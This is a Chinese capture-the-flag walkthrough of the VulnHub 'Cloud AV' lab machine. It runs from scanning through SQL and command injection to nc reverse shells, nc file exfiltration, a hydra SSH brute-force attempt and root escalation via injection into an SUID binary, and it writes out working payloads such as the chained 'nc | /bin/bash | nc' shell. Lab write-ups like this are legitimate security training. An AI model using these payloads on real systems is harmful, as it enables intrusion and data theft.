0x01 主机发现
for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i; done
0x02 端口扫描
sudo nmap -p- 10.0.2.5
0x03 服务识别
sudo nmap -p22,8080 -sV 10.0.2.5
0x04 堆叠注入
访问Web服务瞧瞧
有输入框,挂BP抓个包看看
基本全明文,那把参数替换成特殊字符试试,把键盘上所有的特殊字符做成字典,过一遍看有无报错
看到报错信息了,在页面上注入查看详细信息。
看到报错信息,是sqlite数据库,连数据库语句都报出来了。
尝试万能密码绕过
" or 1=1--
猜测功能为输入文件名,调用杀毒程序进行查杀。
系统应该是执行 avscan fileName 类似的命令,尝试堆叠注入。
hello | id
堆叠注入成功,代表此处存在命令注入。
由上面的服务发现可知,系统存在python2环境,此处可以用Python代码执行反弹shell,但考虑到代码过长,选择另一种更为常见的方式,nc反弹shell。
nc常用在反弹shell,它既可以主动发起连接,也可以被动等待连接,常用命令:
# 主动发起连接,-e参数是指连接交予sh
nc ip 4444 -e /bin/sh
# 被动接受连接
nc -nvlp 4444
这里有个需要注意的地方,不同发行版的Linux用的是不同版本的nc,部分nc没有-e参数,不指定权限交予程序。
先尝试用带 e 的命令行注入,无连接反应。
这里介绍一种新思路:
- 受害机通过nc建立一个普通连接
- 把第一个连接的输入重定向到受害者本地的/bin/bash
- 把/bin/bash的输入重定向到另一个nc连接
首先,本地开启两个Nc端口监听
# 第一个Nc监听,用于执行命令
nc -nvlp 3333
# 第二个Nc监听,用于输入执行结果
nc -nvlp 4444
受害机执行
# hello为堆叠注入,
hello | nc 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444
得到反弹shell,3333端口用于命令输入,4444端口用于结果输出。
0x05 SSH爆破尝试
进行信息收集,看到database.sql文件。
由先前报错可知,采用的是sqlite数据库,转了一圈发现本地没有sqlite环境读取,则把文件下载到本地来读取。
# nc进行文件传输
# kali进行nc端口监听
nc ip 5555 > db.sql
# 目标机进行nc数据传输
nc ip 5555 < database.sql
# 本地读取sqlite文件
sqlite3
.open db.sql
.database
.dump
# 读取当前系统有bash权限的用户
cat /etc/passwd | grep /bin/bash
得到 cloudav & scanner。
制作字典尝试爆破SSH。
vi user.txt # cloudav | scanner
vi password.txt # myinvitecode123 | mysecondinvitecode | cloudavtech | mostsecurescanner
hydra -L user.txt - P pass.txt ssh://ip
结果全部错误,木大。
0x06 命令行提权
直接在反弹shell尝试提权吧。
兜兜转转一圈下来,没发现啥内核提权漏洞。只有用于搭建网站的前后端文件、数据库文件。
这时,习惯用 ls -l 命令的我发现了疑点
在上个目录下发现了suid属性的文件,所属是root用户,并且其他组用户还有执行权限。
如果用 root 所属的文件创建新的连接,那就是一个root权限的连接。
刚好有个.c的源文件,看看这个文件是干嘛的
简单来讲就是,执行软件更新命令,那就涉及命令执行,尝试下最开始的堆叠注入吧。
./update_cloudav "id | nc 10.0.2.4 6666 | /bin/bash | nc 10.0.2.4 7777"
拿到 root 权限了。
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/